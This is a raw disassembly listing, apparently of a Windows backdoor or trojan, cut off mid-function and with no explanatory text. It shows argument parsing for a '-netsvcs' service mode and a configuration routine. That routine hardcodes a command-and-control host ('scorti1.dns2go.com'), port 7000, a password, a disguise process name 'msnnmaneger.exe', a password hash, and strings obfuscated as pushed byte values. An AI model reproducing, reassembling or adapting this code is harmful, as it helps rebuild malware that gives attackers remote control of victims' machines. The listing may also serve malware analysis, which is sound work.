loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D16
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_1BC]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aSaad	; "saad"
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aMsnnmaneger_ex ; "msnnmaneger.exe"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aWintwir	; "wintwir"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aHail	; "Hail-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset aHotfix	; "hotfix"
		lea	ecx, [esp+360h+var_144]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_CC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_1BC]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	ecx, [esp+39Ch+var_348]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 48h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_E4]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
